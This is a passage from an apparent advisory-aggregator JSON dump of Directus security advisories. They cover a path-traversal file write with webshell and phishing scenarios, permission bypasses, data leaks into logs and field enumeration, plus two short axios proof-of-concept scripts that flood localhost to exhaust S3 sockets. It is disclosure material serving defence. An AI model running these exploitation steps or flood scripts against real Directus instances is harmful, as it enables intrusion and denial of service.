handling files under the `/files` route.\n\nThe endpoint handler is responsible for updating an existing file identified by the provided primary key specified through the `pk` parameter. Primary keys are UUID values such as `/files/927b3abf-fb4b-4c66-bdaa-eb7dc48a51cb`. Here the `filename_disk` value is never sanitized, it's possible to pass a path containing traversal sequences (`../`) through it, but a fully arbitrary file write is not possible in case the \"local\" storage handler is used. (Other storage implementations haven't been checked during the research process). The `packages/storage-driver-local/src/index.ts` file defines two relevant functions: `write` and `fullpath`.\n\nThe `write` method uses the `fullPath` method to create the absolute path for the to-be-created file. The `join` method is used to create the final path string. As the `fullPath` method uses `join` to create a relative path starting with the separator to be added under the download dir, this call normalizes the path and further upwards traversal is not possible during the write operation. With that being said, it is still possible, to make the system \"ignore\" the `temp_` prefix given to the file, resulting in an arbitrarily named file being placed in the upload folder.\n\nAs a summary for the vulnerability:\n\n- It is possible, to change the contents of an existing file, as an existing UUID can be specified as the file name\n        - The metadata won't change, so the mime type cannot be modified\n        - This also makes the changes happen \"silently\", without directus knowing about the changes\n- A new, previously non-existent file can be created with arbitrary contents\n        - The file won't show up in on the Directus UI, it can only be seen through other means (such as shell access)\n- An extension MUST be defined for the file to be modified\n        - This prevents us from uploading executables or malware with no extensions, but these wouldn't be executable either way\n\nRecommendations for fixing the vulnerability can be found in later chapters.\n\n## Requirements \n\nAs providing a primary key is required for successful exploitation, at least one asset with a known UUID must be available for an attacker. This can usually be achieved by browsing an application that uses the given Directus instance to provide images. \n\nNaturally, the instance needs to be accessible over the network used by the attacker as well.\n\nOnce network access and knowledge of at least one file UUID is available for the attacker, exploitation can be done by sending a single request.\n\n## Potential impacts\n\nThe impact of successful exploitation is highly dependent on how Directus is set up to be used by a different application. Many different configurations can be created, but the following are likely the most noteworthy:\n\n1. Setting up a phishing site\n\nSVGs can be used to set up very sophisticated looking pages, as it allows the embedding of HTML, CSS and scripts. The issue is once again with the `default-src: none` CSP settings. This setting prevents the use of CSS in the SVG file, so the created page will look strange.\n\nWhile the page obviously looks strange, it's important to notice that since the domain checks out, the browser could fill out the login forms, making for a much more convincing page as shown below:\n\nAn error message can be used to make it look like an error in the system!\n\n2. Server serves files directly from the upload directory:\n\nIn this setup, a server such ash nginx serves files in a static manner. The served files are loaded from a \"public\" folder made accessible through Directus as it's recommended in the files API docs. Quoting: \"make a public folder and allow access to this\", except the upload folder is directly served by the server:\n\nSince the files loaded by the server are sourced directly from the file storage, the arbitrary file write might allow an attacker to upload a webshell into the folder, giving it an arbitrary file extension. As the extension checks out as a valid PHP file for instance, and the contents are correct code, an attacker can achieve unauthenticated code execution on the server.\n\n3. Poisoning hosted files\n\nThe previous examples focused on active exploitation, but it's important to mention that the vulnerability allows for arbitrary changes in files. This can be used for many different attack primitives. Let's consider the following scenario: Directus is used not only to serve contents on a company's web page, but internally as well. Onboarding documents for new entries are hosted on the instance. Manuals with links to internal services are provided through PDF files. If the file can be accessed and modified by an attacker, it would be trivial to set up a spoofed instance which receives credentials for internal services but redirects to the original, internal service right after. \n\n## Credits\n\nThe bug was discovered by Zombor Máté, a security researcher at PCA Cyber Security (https://pcacybersecurity.com/)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-08-20T19:08:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L","references":["https://github.com/directus/directus/security/advisories/GHSA-mv33-9f6j-pfmc","https://nvd.nist.gov/vuln/detail/CVE-2025-55746","https://github.com/directus/directus/commit/d84dcc36f75fc5c858d43746b8f9c426c38d696b","https://github.com/advisories/GHSA-mv33-9f6j-pfmc"],"source_kind":"github","identifiers":["GHSA-mv33-9f6j-pfmc","CVE-2025-55746"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-08-20T20:09:08.577Z","updated_at":"2026-11-06T02:07:12.599Z","epss_percentage":0.014,"epss_percentile":0.72504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdjMzLTlmNmotcGZtY84ABLSw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdjMzLTlmNmotcGZtY84ABLSw","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"28.0.2","vulnerable_version_range":"\u003e= 14.1.0, \u003c 28.0.2"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.9.3","vulnerable_version_range":"\u003e= 10.8.0, \u003c 11.9.3"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdjMzLTlmNmotcGZtY84ABLSw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Y3ZmLXB4Z3AtNDJmY84ABKKm","url":"https://github.com/advisories/GHSA-7cvf-pxgp-42fc","title":"Directus' insufficient permission checks can enable unauthenticated users to manually trigger Flows","description":"### Summary\n\nDirectus Flows with a manual trigger are not validating whether the user triggering the Flow has permissions to the items provided as payload to the Flow. Depending on what the Flow is set up to do this can lead to the Flow executing potential tasks on the attacker's behalf without authenticating.\n\n### Impact\n\nBad actors could execute the manual trigger Flows without authentication, or access rights to the said collection(s) or item(s).\n\nUsers with manual trigger Flows configured are impacted as these endpoints do not currently validate if the user has read access to `directus_flows` or to the relevant collection/items. The manual trigger Flows should have tighter security requirements as compared to webhook Flows where users are expected to perform do their own checks.\n\n### Workarounds\nUsers have to implement permission checks for read access to Flows and read access to relevant collection/items.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-15T15:36:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-7cvf-pxgp-42fc","https://nvd.nist.gov/vuln/detail/CVE-2025-53889","https://github.com/directus/directus/commit/22be460c76957708d67fdd52846a9ad1cbb083fb","https://github.com/directus/directus/releases/tag/v11.9.0","https://github.com/advisories/GHSA-7cvf-pxgp-42fc"],"source_kind":"github","identifiers":["GHSA-7cvf-pxgp-42fc","CVE-2025-53889"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-07-15T16:08:56.818Z","updated_at":"2026-11-06T02:07:25.096Z","epss_percentage":0.00455,"epss_percentile":0.39537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y3ZmLXB4Z3AtNDJmY84ABKKm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Y3ZmLXB4Z3AtNDJmY84ABKKm","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.9.0","vulnerable_version_range":"\u003c 11.9.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y3ZmLXB4Z3AtNDJmY84ABKKm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ybWpoLWNmOXEtcHY3cc4ABKKI","url":"https://github.com/advisories/GHSA-rmjh-cf9q-pv7q","title":"Directus' exact version number is exposed by the OpenAPI Spec","description":"### Summary\n\nThe exact Directus version number is incorrectly being used as OpenAPI Spec version this means that it is being exposed by the `/server/specs/oas` endpoint without authentication. \n\n### Impact\n\nWith the exact version information a malicious attacker can look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-15T15:29:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-rmjh-cf9q-pv7q","https://nvd.nist.gov/vuln/detail/CVE-2025-53887","https://github.com/directus/directus/pull/25353","https://github.com/directus/directus/commit/e74f3e4e92edc33b5f83eefb001a3d2a85af17a3","https://github.com/directus/directus/releases/tag/v11.9.0","https://github.com/advisories/GHSA-rmjh-cf9q-pv7q"],"source_kind":"github","identifiers":["GHSA-rmjh-cf9q-pv7q","CVE-2025-53887"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-07-15T16:09:06.164Z","updated_at":"2026-11-06T02:07:25.096Z","epss_percentage":0.01019,"epss_percentile":0.63506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybWpoLWNmOXEtcHY3cc4ABKKI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ybWpoLWNmOXEtcHY3cc4ABKKI","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.9.0","vulnerable_version_range":"\u003c 11.9.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybWpoLWNmOXEtcHY3cc4ABKKI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mMjR4LXJtNmctM3c1ds4ABKKH","url":"https://github.com/advisories/GHSA-f24x-rm6g-3w5v","title":"Directus tokens are not redacted in flow logs, exposing session credentials to all admin","description":"### Summary\n\nWhen using Directus Flows with the WebHook trigger, all incoming request details are logged including security sensitive data like access and refresh tokens in cookies.\n\n### Impact\n\nMalicious admins with access to the logs can hijack the user sessions within the token expiration time of them triggering the Flow.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-15T15:28:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-f24x-rm6g-3w5v","https://nvd.nist.gov/vuln/detail/CVE-2025-53886","https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5","https://github.com/directus/directus/releases/tag/v11.9.0","https://github.com/advisories/GHSA-f24x-rm6g-3w5v"],"source_kind":"github","identifiers":["GHSA-f24x-rm6g-3w5v","CVE-2025-53886"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-07-15T16:09:06.231Z","updated_at":"2026-11-06T02:07:25.097Z","epss_percentage":0.00459,"epss_percentile":0.39526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMjR4LXJtNmctM3c1ds4ABKKH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mMjR4LXJtNmctM3c1ds4ABKKH","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.9.0","vulnerable_version_range":"\u003c 11.9.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMjR4LXJtNmctM3c1ds4ABKKH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14M3ZtLTg4aGYtZ3B4cM4ABKKG","url":"https://github.com/advisories/GHSA-x3vm-88hf-gpxp","title":"Directus is vulnerable to sensitive data exposure as user data is not being redacted when logged","description":"### Summary\n\nWhen using Directus Flows to handle CRUD events for users it is possible to log the incoming data to console using the \"Log to Console\" operation and a template string. \n\n### Impact\n\nMalicious admins can log sensitive data from other users when they are created or updated.\n\n### Workarounds\nAvoid logging sensitive data to the console outside the context of development.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-15T15:18:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-x3vm-88hf-gpxp","https://nvd.nist.gov/vuln/detail/CVE-2025-53885","https://github.com/directus/directus/pull/25355","https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5","https://github.com/directus/directus/releases/tag/v11.9.0","https://github.com/advisories/GHSA-x3vm-88hf-gpxp"],"source_kind":"github","identifiers":["GHSA-x3vm-88hf-gpxp","CVE-2025-53885"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-07-15T16:09:06.303Z","updated_at":"2026-11-06T02:07:25.097Z","epss_percentage":0.00202,"epss_percentile":0.09539,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14M3ZtLTg4aGYtZ3B4cM4ABKKG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14M3ZtLTg4aGYtZ3B4cM4ABKKG","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.9.0","vulnerable_version_range":"\u003e= 9.0.0, \u003c 11.9.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14M3ZtLTg4aGYtZ3B4cM4ABKKG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mbTNoLXA5d20taDc0aM4ABF8I","url":"https://github.com/advisories/GHSA-fm3h-p9wm-h74h","title":"Directus's webhook trigger flows can leak sensitive data","description":"### Describe the Bug\n\n In Directus, when a **Flow** with the \"_Webhook_\" trigger and the \"_Data of Last Operation_\" response body encounters a ValidationError thrown by a failed condition operation, the API response includes sensitive data. This includes environmental variables, sensitive API keys, user accountability information, and operational data.\n\nThis issue poses a significant security risk, as any unintended exposure of this data could lead to potential misuse.\n\n![Image](https://github.com/user-attachments/assets/fb894347-cd10-4e79-9469-8fc1b2289794)\n![Image](https://github.com/user-attachments/assets/a20337a2-005f-4cfd-ba30-fc5f579ed6c4)\n![Image](https://github.com/user-attachments/assets/9b776248-4a20-46f0-92a4-3760d8e53df9)\n\n\n### To Reproduce\n\n**Steps to Reproduce:**\n1. Create a Flow in Directus with:\n   - Trigger: Webhook\n   - Response Body: Data of Last Operation\n2. Add a condition that is likely to fail.\n3. Trigger the Flow with any input data that will fail the condition.\n4. Observe the API response, which includes sensitive information like:\n   - Environmental variables (`$env`)\n   - Authorization headers\n   - User details under `$accountability`\n   - Previous operational data.\n\n**Expected Behavior:**\nIn the event of a ValidationError, the API response should only contain relevant error messages and details, avoiding the exposure of sensitive data.\n\n**Actual Behavior:**\nThe API response includes sensitive information such as:\n- Environment keys (`FLOWS_ENV_ALLOW_LIST`)\n- User accountability (`role`, `user`, etc.)\n- Operational logs (`current_payments`, `$last`), which might contain private details.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-26T20:08:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-fm3h-p9wm-h74h","https://nvd.nist.gov/vuln/detail/CVE-2025-30353","https://github.com/advisories/GHSA-fm3h-p9wm-h74h"],"source_kind":"github","identifiers":["GHSA-fm3h-p9wm-h74h","CVE-2025-30353"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-03-26T21:08:21.663Z","updated_at":"2026-11-06T02:08:01.322Z","epss_percentage":0.00526,"epss_percentile":0.44514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mbTNoLXA5d20taDc0aM4ABF8I","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mbTNoLXA5d20taDc0aM4ABF8I","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.5.0","vulnerable_version_range":"\u003e= 9.12.0, \u003c 11.5.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mbTNoLXA5d20taDc0aM4ABF8I/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03d3EzLWpyMzUtMjc1Y84ABF8H","url":"https://github.com/advisories/GHSA-7wq3-jr35-275c","title":"Directus `search` query parameter allows enumeration of non permitted fields","description":"### Summary\n\nThe `search` query parameter allows users with access to a collection to filter items based on fields they do not have permission to view. This allows the enumeration of unknown field contents.\n\n### Details\n\nThe searchable columns (numbers \u0026 strings) are not checked against permissions when injecting the `where` clauses for applying the search query. This leads to the possibility of enumerating those un-permitted fields.\n\n### PoC\n\n- Create a collection with a string / numeric field, configure the permissions for the public role to not include the field created\n- Create items with identifiable content in the not permitted field\n- Query the collection and include the field content in the `search` parameter\n- See that results are returned, even tho the public user does not have permission to view the field content\n\n### Impact\n\nThis vulnerability is a very high impact, as for example Directus instances which allow public read access to the user avatar are vulnerable to have the email addresses, password hashes and potentially admin level access tokens extracted. The admin token and password hash extraction have a caveat, as string fields are only searched with a lower cased version of the search query.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-26T18:44:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-7wq3-jr35-275c","https://nvd.nist.gov/vuln/detail/CVE-2025-30352","https://github.com/directus/directus/commit/ac5a9964d9926f20dc063a74cb417dc7bbad676d","https://github.com/advisories/GHSA-7wq3-jr35-275c"],"source_kind":"github","identifiers":["GHSA-7wq3-jr35-275c","CVE-2025-30352"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-03-26T19:08:15.516Z","updated_at":"2026-11-06T02:08:01.323Z","epss_percentage":0.00376,"epss_percentile":0.31528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d3EzLWpyMzUtMjc1Y84ABF8H","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03d3EzLWpyMzUtMjc1Y84ABF8H","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.5.0","vulnerable_version_range":"\u003e= 9.0.0-alpha.4, \u003c 11.5.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d3EzLWpyMzUtMjc1Y84ABF8H/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NnA2LXF3M2MtZnEyZ84ABF7-","url":"https://github.com/advisories/GHSA-56p6-qw3c-fq2g","title":"Suspended Directus user can continue to use session token to access API","description":"### Summary\nSince the user status is not checked when verifying a session token a suspended user can use the token generated in session auth mode to access the API despite their status.\n\n### Details\nThere is a check missing in `verifySessionJWT` to verify that a user is actually still active and allowed to access the API. Right now one can extract the session token obtained by, e.g. login in to the app while still active and then, after the user has been suspended continue to use that token until it expires.\n\n### PoC\n* Create an active user\n* Log in with that user and note the session cookie\n* Suspend the user (and don't trigger an `/auth/refresh` call, as that invalidates the session\n* Access the API with `Authorization: Bearer \u003ctoken\u003e`\n\n### Impact\nThis weakens the security of suspending users.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-03-26T18:30:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-56p6-qw3c-fq2g","https://github.com/directus/directus/commit/ef179931c55b50c110feca8404901d5633940771","https://nvd.nist.gov/vuln/detail/CVE-2025-30351","https://github.com/advisories/GHSA-56p6-qw3c-fq2g"],"source_kind":"github","identifiers":["GHSA-56p6-qw3c-fq2g","CVE-2025-30351"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-03-26T19:08:15.552Z","updated_at":"2026-11-06T02:07:35.168Z","epss_percentage":0.00374,"epss_percentile":0.31503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NnA2LXF3M2MtZnEyZ84ABF7-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NnA2LXF3M2MtZnEyZ84ABF7-","packages":[{"ecosystem":"npm","package_name":"@directus/types","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 11.0.7, \u003c 13.0.0"}],"purl":"pkg:npm/%40directus%2Ftypes"},{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"24.0.1","vulnerable_version_range":"\u003e= 18.0.0, \u003c 24.0.1"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.5.0","vulnerable_version_range":"\u003e= 10.10.0, \u003c 11.5.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NnA2LXF3M2MtZnEyZ84ABF7-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ydjc4LXFxcnEtNzNtNc4ABF78","url":"https://github.com/advisories/GHSA-rv78-qqrq-73m5","title":"Directus's S3 assets become unavailable after a burst of HEAD requests","description":"### Summary\nThere's some tools that use Directus to sync content and assets.\nSome of those tools use HEAD method, like Shopify, to check the existence of files.\nAlthough, when making many HEAD requests at once, at some point, all assets are being served as 403.\n\n### Details\nWhen I was investigating this issue, I have found that after the burst of HEAD requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.\n\nAfter looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/controllers/assets.ts#L233-L238) the stream is not consumed.\n\nThe [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.\n\n### PoC\nThis can be easily reproduced with the following steps:\n- setup AWS S3 storage\n- set STORAGE_CLOUD_MAX_SOCKETS: \"50\" (this value is lower than default for easier reproduction)\n- upload a file to your project\n- run this file (Replace the the file ID with the one you just uploaded):\n```ts\nimport axios from \"axios\";\n\nasync function start() {\n  Array.from({ length: 400 }, (_, i) =\u003e {\n    axios\n      .head(\n        \"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8\"\n      )\n      .then(() =\u003e console.log(\"✅\"))\n      .catch((e) =\u003e\n        console.log(\"⛔\", e.response?.status || e.code || e.message)\n      );\n  });\n}\n\nstart();\n```\n\nHere's an example:\n\nhttps://github.com/user-attachments/assets/29d65bf0-5637-478f-a215-083c2ded3753\n\n\n\n\n### Impact\nThis causes denial of assets for all policies of Directus, including Admin and Public.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-26T17:20:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/directus/directus/security/advisories/GHSA-rv78-qqrq-73m5","https://nvd.nist.gov/vuln/detail/CVE-2025-30350","https://github.com/advisories/GHSA-rv78-qqrq-73m5"],"source_kind":"github","identifiers":["GHSA-rv78-qqrq-73m5","CVE-2025-30350"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-03-26T18:08:15.793Z","updated_at":"2026-11-06T14:07:48.654Z","epss_percentage":0.0044,"epss_percentile":0.37958,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydjc4LXFxcnEtNzNtNc4ABF78","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ydjc4LXFxcnEtNzNtNc4ABF78","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.5.0","vulnerable_version_range":"\u003e= 9.22, \u003c 11.5.0"}],"purl":"pkg:npm/directus"},{"ecosystem":"npm","package_name":"@directus/storage-driver-s3","versions":[{"first_patched_version":"12.0.1","vulnerable_version_range":"\u003e= 9.22.0, \u003c 12.0.1"}],"purl":"pkg:npm/%40directus%2Fstorage-driver-s3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydjc4LXFxcnEtNzNtNc4ABF78/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qOHhqLTdqZmYtNDZteM4ABF77","url":"https://github.com/advisories/GHSA-j8xj-7jff-46mx","title":"Directus's S3 assets become unavailable after a burst of malformed transformations","description":"### Summary\nWhen making many malformed transformation requests at once, at some point, all assets are being served as 403.\n\n### Details\nWhen I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.\n\nAfter looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz`\n\nThe [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.\n\n### PoC\nThis can be easily reproduced with the following steps:\n- setup AWS S3 storage\n- set STORAGE_CLOUD_MAX_SOCKETS: \"50\" (this value is lower than default for easier reproduction)\n- upload a file to your project\n- run this file (Replace the the file ID with the one you just uploaded):\n```ts\nimport axios from \"axios\";\n\nasync function start() {\n  Array.from({ length: 400 }, (_, i) =\u003e {\n    axios\n      .get(\n        \"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100\u0026height=XYZ\"\n      )\n      .then(() =\u003e console.log(\"✅\"))\n      .catch((e) =\u003e\n        console.log(\"⛔\", e.response?.status || e.code || e.message)\n      );\n  });\n}\n\nstart();\n```\n\nHere's an example:\n\n\n\nhttps://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c\n\n\n\n\n\n### Impact\nThis causes denial of assets for all policies of Directus, including Admin and Public.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-26T17:19:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx","https://nvd.nist.gov/vuln/detail/CVE-2025-30225","https://github.com/advisories/GHSA-j8xj-7jff-46mx"],"source_kind":"github","identifiers":["GHSA-j8xj-7jff-46mx","CVE-2025-30225"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-03-26T18:08:16.270Z","updated_at":"2026-11-06T14:07:48.655Z","epss_percentage":0.0044,"epss_percentile":0.37958,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOHhqLTdqZmYtNDZteM4ABF77","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qOHhqLTdqZmYtNDZteM4ABF77","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.5.0","vulnerable_version_range":"\u003e= 9.22.0, \u003c 11.5.0"}],"purl":"pkg:npm/directus"},{"ecosystem":"npm","package_name":"@directus/storage-driver-s3","versions":[{"first_patched_version":"12.0.1","vulnerable_version_range":"\u003e= 9.22.0, \u003c 12.0.1"}],"purl":"pkg:npm/%40directus%2Fstorage-driver-s3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOHhqLTdqZmYtNDZteM4ABF77/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OXZtLTV2MmgtaDZyNs4ABEoi","url":"https://github.com/advisories/GHSA-99vm-5v2h-h6r6","title":"Directus allows updates to non-allowed fields due to overlapping policies","description":"### Summary\nIf there are two overlapping policies for the `update` action that allow access to different fields, instead of correctly checking access permissions against the item they apply for the user is allowed to update the superset of fields allowed by any of the policies. \n\nE.g. have one policy allowing update access to `field_a` if the `id == 1` and one policy allowing update access to `field_b` if the `id == 2`. The user with both these policies is allowed to update both `field_a` and `field_b` for the items with ids `1` and `2`. \n\n### Details\nBefore v11, if a user was allowed to update an item they were allowed to update the fields that the single permission, that applied to that item, listed. With overlapping permissions this isn't as clear cut anymore and the union of fields might not be the fields the user is allowed to update for that specific item.\n\nThe solution that this PR introduces is to evaluate the permissions for each field that the user tries to update in the validateItemAccess DB query, instead of only verifying access to the item as a whole. This is done by, instead of returning the actual field value, returning a flag that indicates if the user has access to that field. This uses the same case/when mechanism that is used for stripping out non permitted field that is at the core of the permissions engine.\n\nAs a result, for every item that the access is validated for, the expected result is an item that has either 1 or null for all the \"requested\" fields instead of any of the actual field values. These results are not useful for anything other than verifying the field level access permissions.\n\nThe final check in validateItemAccess can either fail if the number of items does not match the number of items the access is checked for (ie. the user does not have access to the item at all) or if not all of the passed in fields have access permissions for any of the returned items.\n\n### Impact\nThis is a vulnerability that allows update access to unintended fields, potentially impacting the password field for user 